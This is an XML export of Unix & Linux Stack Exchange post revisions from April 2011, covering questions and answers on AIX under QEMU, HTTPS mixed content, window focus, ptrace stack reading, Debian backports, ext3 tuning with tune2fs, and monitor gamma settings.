  <row Id="26461" PostHistoryTypeId="18" PostId="3438" RevisionGUID="91eb9776-8b74-4283-a844-a7c067c394a2" CreationDate="2011-04-08T22:13:35.913" UserId="73" Comment="from http://unix.stackexchange.com/questions/10903/what-jobs-can-i-do-with-linux" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="26463" PostHistoryTypeId="2" PostId="10932" RevisionGUID="364de0ab-577f-4e32-ae94-03751329b49a" CreationDate="2011-04-08T22:33:24.807" UserId="5664" Text="I have a Fedora 14 i386 / T7100 C2D HP notebook. I need to run e.g.: AIX 6.1 on it for testing purposes.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I installed a VirtualBox on this Fedora machine. I installed a guest os in the VirtualBox. It's again, a Fedora 14 :P&lt;br&gt;&#xD;&#xA;Ok! here comes the fun part: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I:&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	dd if=/dev/zero of=aixtest.img bs=1 count=1 seek=4294967292&#xD;&#xA;	qemu-system-ppc -prom-env 'auto-boot?=true' -hda aixtest.img -m 512 -cdrom aix61/IBM.AIX.v6.1-XXXXXXXX-DVD1.iso -boot d&#xD;&#xA;&#xD;&#xA;But the only thing i see is this:&#xD;&#xA;&#xD;&#xA;http://img251.imageshack.us/img251/7103/whereis.png&#xD;&#xA;&#xD;&#xA;A couple of new lines created (before i type &quot;test-all&quot; command) and i can't see the aix installer :O&lt;br&gt;&#xD;&#xA;How could i install/run a fresh version of AIX in e.g. Qemu? Is it possible? Or e.g.: only AIX ~2 will boot only?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="26464" PostHistoryTypeId="1" PostId="10932" RevisionGUID="364de0ab-577f-4e32-ae94-03751329b49a" CreationDate="2011-04-08T22:33:24.807" UserId="5664" Text="Qemu &amp; AIX 6.1 - what am i missing?" />
  <row Id="26465" PostHistoryTypeId="3" PostId="10932" RevisionGUID="364de0ab-577f-4e32-ae94-03751329b49a" CreationDate="2011-04-08T22:33:24.807" UserId="5664" Text="éfedoraàévirtualboxàéaixà" />
  <row Id="26466" PostHistoryTypeId="2" PostId="10933" RevisionGUID="3c0da422-ec61-42b4-9952-978b5a272781" CreationDate="2011-04-08T22:42:52.997" UserId="3001" Text="Not sure what more you can do; according to [http://www.claunia.com/qemu/objectManager.php?sClass=version&amp;iId=305][1] AIX 6.1 will not install under QEMU.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.claunia.com/qemu/objectManager.php?sClass=version&amp;iId=305" />
  <row Id="26467" PostHistoryTypeId="2" PostId="10934" RevisionGUID="07804486-6166-41b1-9d04-4855a7730919" CreationDate="2011-04-08T22:46:07.807" UserId="5664" Text="/Using Google Chrome/&#xD;&#xA;&#xD;&#xA;if i visit:&#xD;&#xA;&#xD;&#xA;https://secure.wikimedia.org/wikipedia/en/wiki/File:Nokota_Horses_cropped.jpg&#xD;&#xA;&#xD;&#xA;then the:&#xD;&#xA;&#xD;&#xA;http://upload.wikimedia.org/wikipedia/commons/d/de/Nokota_Horses_cropped.jpg&#xD;&#xA;&#xD;&#xA;is on a HTTP-only server.&#xD;&#xA;&#xD;&#xA;So how could i be 100% sure, that if i see the &quot;HTTPS&quot; in the URL bar of my browser that means the full content of the website is really encrypted?&#xD;&#xA;&#xD;&#xA;In my example the pictures on wikipedia are not using encryption(?), so a sniffer could know that i'm visiting a wikipedia site about horses.&#xD;&#xA;&#xD;&#xA;Should i install a proxy (e.g.: privoxy) that will assure that no HTTP-only elements will load on a &quot;HTTPS site&quot;?&#xD;&#xA;&#xD;&#xA;Thanks.." />
  <row Id="26468" PostHistoryTypeId="1" PostId="10934" RevisionGUID="07804486-6166-41b1-9d04-4855a7730919" CreationDate="2011-04-08T22:46:07.807" UserId="5664" Text="True HTTPS? How?" />
  <row Id="26469" PostHistoryTypeId="3" PostId="10934" RevisionGUID="07804486-6166-41b1-9d04-4855a7730919" CreationDate="2011-04-08T22:46:07.807" UserId="5664" Text="ésecurityàésslà" />
  <row Id="26470" PostHistoryTypeId="2" PostId="10935" RevisionGUID="52ad8d52-6e03-4c2a-aa58-261a1dbb85be" CreationDate="2011-04-08T22:49:46.133" UserId="4143" Text="I have a script that recompiles and relaunches a software project I am building in linux.  However, I don't usually want to see my program's window immediately after it has launched, as I want to keep my keyboard focus on my vim window.&#xD;&#xA;&#xD;&#xA;Normally, my program launches, is automatically given focus, and appears on top of the other windows on my workspace.&#xD;&#xA;&#xD;&#xA;Is it possible in linux to launch a program but not have it steal focus, and not have it appear on top of all other windows?&#xD;&#xA;&#xD;&#xA;Note: If it matters, I am running Fedora 13, and use Emerald themes." />
  <row Id="26471" PostHistoryTypeId="1" PostId="10935" RevisionGUID="52ad8d52-6e03-4c2a-aa58-261a1dbb85be" CreationDate="2011-04-08T22:49:46.133" UserId="4143" Text="Can you tell a window to spawn behind others?" />
  <row Id="26472" PostHistoryTypeId="3" PostId="10935" RevisionGUID="52ad8d52-6e03-4c2a-aa58-261a1dbb85be" CreationDate="2011-04-08T22:49:46.133" UserId="4143" Text="éfedoraàéwindowsàéwindowömanagerà" />
  <row Id="26473" PostHistoryTypeId="6" PostId="10935" RevisionGUID="c65d4144-2cc2-443c-afb3-b7e2f77199c6" CreationDate="2011-04-08T22:57:47.390" UserId="885" Comment="edited tags" Text="éfedoraàéwindowömanageràéwindowàéfocusà" />
  <row Id="26474" PostHistoryTypeId="5" PostId="10935" RevisionGUID="aaeca112-009c-492b-a89b-d5a1a21ca7ff" CreationDate="2011-04-08T23:04:21.200" UserId="4143" Comment="Added that I'm running GNOME" Text="I have a script that recompiles and relaunches a software project I am building in linux.  However, I don't usually want to see my program's window immediately after it has launched, as I want to keep my keyboard focus on my vim window.&#xD;&#xA;&#xD;&#xA;Normally, my program launches, is automatically given focus, and appears on top of the other windows on my workspace.&#xD;&#xA;&#xD;&#xA;Is it possible in linux to launch a program but not have it steal focus, and not have it appear on top of all other windows?&#xD;&#xA;&#xD;&#xA;Note: If it matters, I am running Fedora 13, GNOME, and use Emerald themes." />
  <row Id="26475" PostHistoryTypeId="6" PostId="10935" RevisionGUID="c39b23d3-d08f-462c-8325-d6142e3843a2" CreationDate="2011-04-08T23:05:53.220" UserId="885" Comment="edited tags" Text="éfedoraàégnomeàéwindowömanageràéwindowàéfocusà" />
  <row Id="26476" PostHistoryTypeId="6" PostId="10934" RevisionGUID="b767d93c-309f-4d97-bd6b-880d40e3fcdd" CreationDate="2011-04-08T23:07:01.037" UserId="885" Comment="edited tags" Text="ésecurityàéchromeàésslà" />
  <row Id="26477" PostHistoryTypeId="2" PostId="10936" RevisionGUID="9ff87399-e393-4038-94f1-1c55fe6e04fb" CreationDate="2011-04-08T23:18:57.933" UserId="6167" Text="You might be interested in HTTP Strict Transport Security sometimes called STS or HSTS.  This is a voluntary header a web server can send out to instruct the web browser that the site must always be secure.  Chrome is one of the browsers that implement it.  http://www.imperialviolet.org/2011/02/17/hstsui.html  I think you can add Wikipedia to the default database of HSTS sites in Chrome to enforce HTTPS everywhere, but I'm not sure.  Beyond that, to enforce HTTPS to all web browsers and other HTTP clients accessing certain web sites, you will need some kind of proxy.  You can also go to the extreme and use Tor and Onion routing to hide the fact you are even visiting Wikipedia." />
  <row Id="26478" PostHistoryTypeId="2" PostId="10937" RevisionGUID="16b4e87e-1ea2-4aca-9854-e2591794c27b" CreationDate="2011-04-08T23:20:07.387" UserId="146" Text="Why not just set the Xvfb to the correct size to begin with?&#xD;&#xA;&#xD;&#xA;I suppose you could run a nested X server like [Xephyr][1] or [Xnest][2] inside the Xvfb, and have it at the right resolution and position, but that's a lot of extra work vs. just running `Xvfb -screen 0 640x480x24`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedesktop.org/wiki/Software/Xephyr&#xD;&#xA;  [2]: http://www.x.org/releases/X11R7.6/doc/man/man1/Xnest.1.xhtml &quot;Xnest&amp;#40;1&amp;#41; man page&quot;" />
  <row Id="26479" PostHistoryTypeId="5" PostId="10935" RevisionGUID="f4ee8412-fd34-4cb2-821b-f290f8360032" CreationDate="2011-04-08T23:36:06.060" UserId="4143" Comment="Added compiz to the list of things I'm using." Text="I have a script that recompiles and relaunches a software project I am building in linux.  However, I don't usually want to see my program's window immediately after it has launched, as I want to keep my keyboard focus on my vim window.&#xD;&#xA;&#xD;&#xA;Normally, my program launches, is automatically given focus, and appears on top of the other windows on my workspace.&#xD;&#xA;&#xD;&#xA;Is it possible in linux to launch a program but not have it steal focus, and not have it appear on top of all other windows?&#xD;&#xA;&#xD;&#xA;Note: If it matters, I am running Fedora 13, GNOME, compiz, and use Emerald themes." />
  <row Id="26480" PostHistoryTypeId="2" PostId="10938" RevisionGUID="a33507f8-5310-4006-a7c6-9099eea2fae6" CreationDate="2011-04-08T23:45:34.963" UserId="6167" Text="Some Window Managers have a lot of customizability to do stuff like this, but a lot more recent ones including metacity and compiz have lost this kind of customization.  I used to use fvwm to do stuff like that.  A simpler WM independent approach would be to try and reassign focus back to the right window.  Look at the xdotool http://www.semicomplete.com/projects/xdotool/xdotool.  It should be available in your distro repository.  It can, among other things, assign focus to specific Windows.  I assume your running a script from a Terminal that you don't want to loose focus.  If so, you should be able to use $WINDOWID to retrieve the Window ID for your terminal and use xdotool at the end of the script to refocus your Terminal." />
  <row Id="26481" PostHistoryTypeId="25" PostId="10935" RevisionGUID="31a03667-3d4a-495a-b988-fc2829a99753" CreationDate="2011-04-09T00:09:04.240" Comment="http://twitter.com/#!/StackUnix/status/56508890271072256" />
  <row Id="26482" PostHistoryTypeId="2" PostId="10939" RevisionGUID="e11af3e3-4569-43bf-ac4c-329cd64998b9" CreationDate="2011-04-09T01:12:14.253" UserId="4520" Text="Most browsers enable you to get a warning if you have HTTP content on an HTTPS page.  This can be very annoying if you visit sites that mix HTTP content on their HTTPS pages.  From your question it appears Wikipedia is one of those.  When properly set, Firefox warns me visiting this page. &#xD;&#xA;&#xD;&#xA;A web server is not require to offer HTTPS.  Many sites do not offer HTTPS, and other may only use it to secure login screens, and other content that they deem requires a secure path.   Even if you use HTTPS, it is still possible to determine which servers you are browsing.  In many cases the server only hosts one site, so the site would be known as well.&#xD;&#xA;&#xD;&#xA;Until recently,  the certificates required for HTTPS were quite expensive.  Depending on the level of trust required, the cost is still high.  Banks and other organizations which require a high degree of trust and security will pay high prices for their certificatemu.  &#xD;&#xA;&#xD;&#xA;If you wish to hide your traffic from local monitoring, you could use a secure path to a proxy.  This may raise red flags with whoever is monitoring your traffic.  &#xD;&#xA;&#xD;&#xA;If you use a private proxy, anyone downstream of the proxy would be able to determine much of the information you are trying to hide." />
  <row Id="26483" PostHistoryTypeId="5" PostId="9192" RevisionGUID="59412fc0-47a7-4c1d-b893-919ab6b8613f" CreationDate="2011-04-09T02:30:05.570" UserId="5632" Comment="typo" Text="Here is another strategy that might need tweaking but should be more efficient with large chunks of data. The idea is to execute syscalls in the remote process in order to retrieve the stack contents. It will need specific architecture code but if you only target x86 / x86_64 it shouldn't be too much hassle.&#xD;&#xA;&#xD;&#xA; 1. Create a named pipe such as `&quot;/tmp/fifo&quot;` in your calling process.&#xD;&#xA; 1. Step into the traced process until it returns from a syscall, using `PTRACE_SYSCALL` to step, `waitpid()` to wait and `PTRACE_GETREGS`/`PTRACE_PEEKTEXT` to check the currently executed opcode.&#xD;&#xA; 1. Backup the remote process’s registers and a small area of its stack.&#xD;&#xA; 1. Execute syscalls on the remote process by overriding its stack with your own data: `open(&quot;/tmp/fifo&quot;)`, `write()` the stack contents, `close()` the descriptor.&#xD;&#xA; 1. Restore the remote process’s state.&#xD;&#xA; 1. Read the fifo data from your calling process.&#xD;&#xA;&#xD;&#xA;There might be more elegant alternatives to the named pipe, but I can’t think of any right now. The reason I only use syscalls is because remote code injection is pretty unreliable on modern systems due to various security protections. The drawback is that it will hang until the remote process does a syscall (which can be a problem for some programs that mostly do computations).&#xD;&#xA;&#xD;&#xA;You can see some free code implementing most of the work in [this source file][1]. Feedback on the code is welcome!&#xD;&#xA;&#xD;&#xA;  [1]: http://caca.zoy.org/browser/neercs/trunk/src/mytrace.c&#xD;&#xA;" />
  <row Id="26484" PostHistoryTypeId="17" PostId="10941" RevisionGUID="bd77feaf-de30-4534-9e97-25ffea90fca3" CreationDate="2011-04-09T02:38:12.997" UserId="-1" Comment="from http://serverfault.com/questions/230310/debian-always-latest-packages-best-practice/230319#230319" Text="" />
  <row Id="26485" PostHistoryTypeId="17" PostId="10942" RevisionGUID="96c72ef7-98e0-49ee-979a-44669901c0c5" CreationDate="2011-04-09T02:38:12.997" UserId="-1" Comment="from http://serverfault.com/questions/230310/debian-always-latest-packages-best-practice/230353#230353" Text="" />
  <row Id="26486" PostHistoryTypeId="17" PostId="10943" RevisionGUID="78744445-1c12-4832-99a4-5d042c1fb77f" CreationDate="2011-04-09T02:38:12.997" UserId="-1" Comment="from http://serverfault.com/questions/230310/debian-always-latest-packages-best-practice/230546#230546" Text="" />
  <row Id="26487" PostHistoryTypeId="2" PostId="10941" RevisionGUID="f3539477-a060-4118-8e86-17ceaddb94c2" CreationDate="2011-02-02T19:12:37.790" UserId="1016" Text="Building your own packages is the way to go (IMHO). Depending on the age of Debian's version of a package and what has changed, this can be as easy as replacing the filename of the source tarball in the package description and in the worst case you can still use it as a template for your own version. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="26488" PostHistoryTypeId="2" PostId="10942" RevisionGUID="3cd166c8-32d5-412c-973a-4357321bd680" CreationDate="2011-02-02T20:19:35.243" UserId="3309" Text="You can certainly build your own packages, and that will work. However I would recommend using [backports][1] first if what you want is available there.&#xD;&#xA;&#xD;&#xA;Backports are Debian maintained and you get security updates for them.&#xD;&#xA;&#xD;&#xA;  [1]: http://backports.debian.org/" />
  <row Id="26489" PostHistoryTypeId="2" PostId="10943" RevisionGUID="5aa19e77-101f-444a-97c7-71d689cbeb6e" CreationDate="2011-02-03T09:45:03.950" UserId="688" Text="***What are you doing if you always need the latest version?***&#xD;&#xA;&#xD;&#xA;1. As [already mentioned][1], use backports.&#xD;&#xA;&#xD;&#xA;2. Only a small subset of Debian packages are backported, so I suggest that you use [Debian Testing][2]. It offers a nice balance between stability and recency, and is in a sense, like a rolling distro.&#xD;&#xA;&#xD;&#xA;3. If you are a bit more daring, use [Debian Unstable][3]. It's claimed to be reasonably stable. Some even go as far as claiming it's more stable than some other distro's &quot;stable&quot; releases. Anyways, Unstable is where new package versions normally land. They normally sit there for about 10 days, to allow for testing, before migrating to Testing.&#xD;&#xA;&#xD;&#xA;4. Even using these two, you might still find yourself not having the latest versions. In that case have a look at [Debian Experimental][4]. It's normally used when the new packages are too disruptive for the normal archives (Unstable and Testing).&#xD;&#xA;&#xD;&#xA;5. If Experimental still doesn't have new enough software versions, go look at [Ubuntu's PPA's][5]. I've seen software versions there more recent than what all the above archives lack. Use it with caution though, since Ubuntu isn't 100% compatible with Debian (but for most cases, there shouldn't be any issues).&#xD;&#xA;&#xD;&#xA;6. If the above fail, I guess just build your own packages, [as mentioned][6]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/230310/debian-always-latest-packages-best-practice/230353#230353&#xD;&#xA;  [2]: http://www.debian.org/doc/FAQ/ch-ftparchives#s-testing&#xD;&#xA;  [3]: http://www.debian.org/doc/FAQ/ch-ftparchives#s-unstable&#xD;&#xA;  [4]: http://wiki.debian.org/DebianExperimental&#xD;&#xA;  [5]: https://launchpad.net/ubuntu/+ppas&#xD;&#xA;  [6]: http://serverfault.com/questions/230310/debian-always-latest-packages-best-practice/230319#230319" />
  <row Id="26490" PostHistoryTypeId="2" PostId="10940" RevisionGUID="34dad226-def0-4a8f-84b1-1f4fa0555ba9" CreationDate="2011-02-02T19:04:22.477" UserDisplayName="jens" Text="Most of the &quot;Software&quot; I install on my server needs to be the latest release (Java, Tomcat, MySQL-Cluster). So I never have the luck, that there are pre-built Debian packages (in the distribution) available. Therefore all the software is downloaded from the project-webpage and built from source.&#xD;&#xA;&#xD;&#xA;Now my question is, what is the correct way to install them on my Debian system? &#xD;&#xA;&#xD;&#xA;My main problem is, when installing them directly from the source, they are not included in the package management (with aptitude). Checkinstall seems to not really be suggested to be used and equiv also has drawbacks. Is the only correct way to handle this by building my own packages with dh_make and dpkg-buildpackage?&#xD;&#xA;&#xD;&#xA;What are you doing if you always need the latest version?" />
  <row Id="26491" PostHistoryTypeId="1" PostId="10940" RevisionGUID="34dad226-def0-4a8f-84b1-1f4fa0555ba9" CreationDate="2011-02-02T19:04:22.477" UserDisplayName="jens" Text="Debian = Always latest Packages = Best Practice?" />
  <row Id="26492" PostHistoryTypeId="3" PostId="10940" RevisionGUID="34dad226-def0-4a8f-84b1-1f4fa0555ba9" CreationDate="2011-02-02T19:04:22.477" UserDisplayName="jens" Text="édebianàépackageömanagementà" />
  <row Id="26493" PostHistoryTypeId="17" PostId="10940" RevisionGUID="240b8bf6-3e90-4719-94f6-ad88f952dc10" CreationDate="2011-04-09T02:38:12.997" UserId="-1" Comment="from http://serverfault.com/questions/230310/debian-always-latest-packages-best-practice" Text="" />
  <row Id="26494" PostHistoryTypeId="2" PostId="10944" RevisionGUID="bcb7e046-8df5-4152-9bb8-039d2f57fb00" CreationDate="2011-04-09T02:44:28.927" UserId="217" Text="I have a program that most of the time works, but every now and then it fails with a no route to host error. &#xD;&#xA;&#xD;&#xA;The machine is running AIX 5 and has five network interfaces en1, en3, en5, en7 and en10.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26495" PostHistoryTypeId="1" PostId="10944" RevisionGUID="bcb7e046-8df5-4152-9bb8-039d2f57fb00" CreationDate="2011-04-09T02:44:28.927" UserId="217" Text="how to troubleshot intermittent no route to host error" />
  <row Id="26496" PostHistoryTypeId="3" PostId="10944" RevisionGUID="bcb7e046-8df5-4152-9bb8-039d2f57fb00" CreationDate="2011-04-09T02:44:28.927" UserId="217" Text="énetworkingà" />
  <row Id="26497" PostHistoryTypeId="6" PostId="10944" RevisionGUID="942b7268-ee1e-4878-ab9d-ddf9edcfbf3a" CreationDate="2011-04-09T03:08:13.113" UserId="29" Comment="fix typo" Text="énetworkingàéaixà" />
  <row Id="26498" PostHistoryTypeId="4" PostId="10944" RevisionGUID="942b7268-ee1e-4878-ab9d-ddf9edcfbf3a" CreationDate="2011-04-09T03:08:13.113" UserId="29" Comment="fix typo" Text="how to troubleshoot intermittent no route to host error" />
  <row Id="26499" PostHistoryTypeId="25" PostId="10926" RevisionGUID="0d3cb945-4406-4443-9c3d-3ca8b3397ede" CreationDate="2011-04-09T03:09:04.733" Comment="http://twitter.com/#!/StackUnix/status/56554192696913920" />
  <row Id="26500" PostHistoryTypeId="2" PostId="10945" RevisionGUID="a11824dc-7a0d-446f-af0d-5767975333d9" CreationDate="2011-04-09T03:56:59.740" UserId="6116" Text="I'm using linux mint 9&#xD;&#xA;I would like instructions on changing my laptop monitor's gamma settings. Preferably using something with a gui interface, but if not I will try my best." />
  <row Id="26501" PostHistoryTypeId="1" PostId="10945" RevisionGUID="a11824dc-7a0d-446f-af0d-5767975333d9" CreationDate="2011-04-09T03:56:59.740" UserId="6116" Text="How do I change my monitor's gamma settings?" />
  <row Id="26502" PostHistoryTypeId="3" PostId="10945" RevisionGUID="a11824dc-7a0d-446f-af0d-5767975333d9" CreationDate="2011-04-09T03:56:59.740" UserId="6116" Text="écolorsàéguiàémonitoràésetuptoolsà" />
  <row Id="26503" PostHistoryTypeId="2" PostId="10946" RevisionGUID="acd2f6b9-23e4-46bd-840f-d7762cafa3f1" CreationDate="2011-04-09T04:03:36.167" UserId="5861" Text="Actually IOzone is a filesystem benchmark tool. The benchmark generates and measures a variety of file operations like sequential reading/writing, random reading/writing. So I want to customize my own Linux file system ext3 either for random reading(Database intensive or OLTP) or sequential reading(audio/video app) so that there will be better performance for specific application. And how can we change file systems parameters like block size, disk cache, buffer size etc  to achieve better performance. I am newbie in Linux file systems. So please tell me, where will I get excellent sources for reading about this task and load again this modified file system as a modules or in another way.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="26504" PostHistoryTypeId="1" PostId="10946" RevisionGUID="acd2f6b9-23e4-46bd-840f-d7762cafa3f1" CreationDate="2011-04-09T04:03:36.167" UserId="5861" Text="How can we customize linux file systems like ext2/3?" />
  <row Id="26505" PostHistoryTypeId="3" PostId="10946" RevisionGUID="acd2f6b9-23e4-46bd-840f-d7762cafa3f1" CreationDate="2011-04-09T04:03:36.167" UserId="5861" Text="ékernelàéfilesystemsà" />
  <row Id="26506" PostHistoryTypeId="2" PostId="10947" RevisionGUID="7b024b75-8b36-40c8-bbe6-fb9d9e2b1b4f" CreationDate="2011-04-09T04:31:21.213" UserId="29" Text="To change these things you either have to do them on filesystem creation with `mke2fs` *( which `mkfs.ext4` for example uses )* or some of the tuning options are available after creation with with `tune2fs`. [This Forum thread on Gentoo Forums was about ext3 tuning](http://forums.gentoo.org/viewtopic-t-305871.html).&#xD;&#xA;" />
  <row Id="26507" PostHistoryTypeId="5" PostId="10947" RevisionGUID="f1fa99d9-95b2-419c-9016-7c306aa5418e" CreationDate="2011-04-09T04:44:58.407" UserId="29" Comment="comment on ext4" Text="To change these things you either have to do them on filesystem creation with `mke2fs` *( which `mkfs.ext4` for example uses )* or some of the tuning options are available after creation with with `tune2fs`. [This Forum thread on Gentoo Forums was about ext3 tuning](http://forums.gentoo.org/viewtopic-t-305871.html). Here's what I think are the important parts from that *( it's all copied with some formatting )* *( Also please be advised that `data=journal` disables some certain peformance enhancements in ext4)*&#xD;&#xA;&#xD;&#xA;**Using Directory Indexing**&#xD;&#xA;&#xD;&#xA;This feature improves file access in large directories or directories containing many files by using hashed binary trees to store the directory information. It's perfectly safe to use, and it provides a fairly substantial improvement in most cases; so it's a good idea to enable it:&#xD;&#xA;&#xD;&#xA;    tune2fs -O dir_index /dev/hdXY&#xD;&#xA;&#xD;&#xA;This will only take effect with directories created on that filesystem after tune2fs is run. In order to apply this to currently existing directories, we must run the e2fsck utility to optimize and reindex the directories on the filesystem:&#xD;&#xA;&#xD;&#xA;    e2fsck -D /dev/hdXY &#xD;&#xA;&#xD;&#xA;**Enable Full Journaling**&#xD;&#xA;&#xD;&#xA;By default, ext3 partitions mount with the 'ordered' data mode. In this mode, all data is written to the main filesystem and its metadata is committed to the journal, whose blocks are logically grouped into transactions to decrease disk I/O. This tends to be a good default for most people. However, I've found a method that increases both reliability and performance (in some situations): journaling everything, including the file data itself (known as 'journal' data mode). Normally, one would think that journaling all data would decrease performance, because the data is written to disk twice: once to the journal then later committed to the main filesystem, but this does not seem to be the case. I've enabled it on all nine of my partitions and have only seen a minor performance loss in deleting large files. In fact, doing this can actually improve performance on a filesystem where much reading and writing is to be done simultaneously. See [this article written by Daniel Robbins on IBM's website for more information](http://www-106.ibm.com/developerworks/linux/library/l-fs8.html#4)&#xD;&#xA;&#xD;&#xA;In fact, putting /usr/portage on its own ext3 partition with journal data mode seems to have decreased the time it takes to run emerge --sync significantly. I've also seen slight improvements in compile time. &#xD;&#xA;&#xD;&#xA;There are two different ways to activate journal data mode. The first is by adding data=journal as a mount option in /etc/fstab. If you do it this way and want your root filesystem to also use it, you should also pass rootflags=data=journal as a kernel parameter in your bootloader's configuration. In the second method, you will use tune2fs to modify the default mount options in the filesystem's superblock:&#xD;&#xA;&#xD;&#xA;    tune2fs -O has_journal -o journal_data /dev/hdXY&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please note that the second method may not work for older kernels. Especially Linux 2.4.20 and below will likely disregard the default mount options on the superblock. If you're feeling adventurous you may also want to tweak the journal size. (I've left the journal size at the default.) A larger journal may give you better performance (at the cost of more disk space and longer recovery times). Please be sure to read the relevant section of the tune2fs manual before doing so:&#xD;&#xA;&#xD;&#xA;    tune2fs -J size=$SIZE /dev/hdXY&#xD;&#xA;&#xD;&#xA;**Checking The Filesystem Options Using tune2fs**&#xD;&#xA;&#xD;&#xA;Well, now that we've tweaked our filesystem, we want to make sure those tweaks are applied, right?  Surprisingly, we can do this options iusing the tune2fs utility quite easily. To list all the contents of the filesystem's superblock, we can pass the &quot;-l&quot; (lowercase &quot;L&quot;) option to tune2fs:&#xD;&#xA;&#xD;&#xA;    tune2fs -l /dev/hdXY&#xD;&#xA;&#xD;&#xA;Unlike the other tune2fs calls, this can be run on a mounted filesystem without harm, since it doesn't access or attempt to change the filesystem at such a low level. &#xD;&#xA;&#xD;&#xA;This will give you a lot of information about the filesystem, including the block/inode information, as well as the filesystem features and default mount options, which we are looking for. If all goes well, the relevant part of the output should include &quot;dir_index&quot; and &quot;has_journal&quot; flags in the Filesystem features listing, and should show a default mount option of &quot;journal_data&quot;. " />
  <row Id="26508" PostHistoryTypeId="2" PostId="10948" RevisionGUID="eb64b442-eac4-4873-8098-ad72bfc17e2c" CreationDate="2011-04-09T04:55:48.330" UserId="2874" Text="X11 can adjust gamma with the command xgamma, which should come standard with X11 on most Linux distros.  This works independent of what monitor you use.&#xD;&#xA;&#xD;&#xA;The proprietary drivers for some graphics cards offer GUI gamma adjustments." />
  <row Id="26509" PostHistoryTypeId="5" PostId="9930" RevisionGUID="2388df8e-cd88-44cc-a178-d81dab79a580" CreationDate="2011-04-09T05:01:34.313" UserId="2874" Comment="update" Text="My Arch machine sometimes hangs, suddenly not responding in any way to the mouse or the keyboard.  The cursor is frozen.  Ctrl-Alt-Backsp won't stop X11, and ctrl-alt-del does exactly nothing.  The cpu, network, and disk activity plots in conky and icewm stop updating.  In a few minutes the fan turns on.  The only way to make the computer do anything at all is to turn off power.   &#xD;&#xA;&#xD;&#xA;When it boots up, the CPU temperature monitors show 70 to 80C. Before the hang, I was usually doing low-intensity activity like web surfing getting around 50C.&#xD;&#xA;&#xD;&#xA;The logs show nothing special compared to a normal shutdown.  Memory checker runs fine with zero defects.  &#xD;&#xA;&#xD;&#xA;How can I investigate why it hung up?  Is there extra information I can find for a clue? Is there anything less drastic than power-off to get some kind of action, if only some limited shell or just beeps, but might give a clue?&#xD;&#xA;&#xD;&#xA;The machine is a Gateway P6860 17&quot; laptop (bulky but powerful) and it's running Arch 64bit, up to date (as of March 2011).   I had Arch for a long time w/o this problem, switched to Ubuntu for about a week then retreated back to a fresh install of Arch.  That's when the hangings started.&#xD;&#xA;&#xD;&#xA;UPDATE: Yeah, for sure it's overheating.  At one temperature, the mouse and keyboard stop working, sometimes becoming functional after several minutes of cooling off.  At a higher temperature, worse things happen, like total nonresponsiveness including ignoring SysRq.  This condition is shortly followed by a sudden power-off.  I have solved the problem by buying a new computer 8D " />
  <row Id="26510" PostHistoryTypeId="2" PostId="10949" RevisionGUID="d2321484-e1b8-4f89-9f8f-6b069a26c238" CreationDate="2011-04-09T06:00:43.377" UserId="4675" Text="An alternative is to have the program connect to a different X server.  You can either &#xD;&#xA;&#xD;&#xA;1. run a separate instance of X on a different virtual console.  Switch with e.g. Ctrl-alt-F8.&#xD;&#xA;2. run Xnest to have an X server acting as a client to the main Xserver&#xD;&#xA;&#xD;&#xA;Either way, your testing script should set DISPLAY to redirect the program to the other X server (it will probably be named :1)." />
  <row Id="26511" PostHistoryTypeId="2" PostId="10950" RevisionGUID="8b077e5a-7bdd-474e-a2a6-3ab2469c4d7f" CreationDate="2011-04-09T06:02:11.153" UserId="6167" Text="Try doing a `traceroute` (different than `tcptraceroute`) when the problem is occurring to determine where the breakage is.  I'm assuming it's close to the AIX box.  Are any neighboring hosts having issues that you know of?  Also, take a look at the ARP cache with something like `arp -an`.  You will have to read the man page on AIX for the right options.  -n turns off DNS resolution and prints IP addresses instead.  Last thing is whether there has been a link loss.  `ifconfig` might tell you whether whether it has a link signal.  Also, any kind of kernel logs might indicate a problem.  Linux has a command `dmesg` to print the Kernel Logs from memory, but AIX probably has something similar." />
  <row Id="26512" PostHistoryTypeId="25" PostId="10946" RevisionGUID="f3c8463a-c7d8-4aea-b034-621e6d48ed9b" CreationDate="2011-04-09T06:09:05.170" Comment="http://twitter.com/#!/StackUnix/status/56599491339493376" />
  <row Id="26513" PostHistoryTypeId="2" PostId="10951" RevisionGUID="a03d1ca5-04fd-4238-bb01-bef371f5b5d4" CreationDate="2011-04-09T06:22:35.710" UserId="6116" Text="I'm running Linux Mint 9 gnome on a Toshiba Satellite A105-S4211&#xD;&#xA;&#xD;&#xA;With this,&#xD;&#xA;	&#xD;&#xA;inxi -G Graphics: Card Intel Mobile 945GM/GMS 943/940GML Express Integrated Graphics Controller X.Org 1.7.6 Res: 1280x800@60.0hz GLX Renderer Mesa DRI Intel 945GM GEM 20091221 2009Q4 x86/MMX/SSE2 GLX Version 1.4 Mesa 7.7.&#xD;&#xA;&#xD;&#xA;And I want to know how to configure the monitor/graphic/video/driver/gamma settings.&#xD;&#xA;&#xD;&#xA;What I really want to do is change the gamma settings on my computer. I was told that I can do this using the video card driver. &#xD;&#xA;&#xD;&#xA;I want to know how to do that." />
  <row Id="26514" PostHistoryTypeId="1" PostId="10951" RevisionGUID="a03d1ca5-04fd-4238-bb01-bef371f5b5d4" CreationDate="2011-04-09T06:22:35.710" UserId="6116" Text="How do I configure my graphics drivers?" />
  <row Id="26515" PostHistoryTypeId="3" PostId="10951" RevisionGUID="a03d1ca5-04fd-4238-bb01-bef371f5b5d4" CreationDate="2011-04-09T06:22:35.710" UserId="6116" Text="édriversàéconfigurationàémonitoràégraphicsà" />
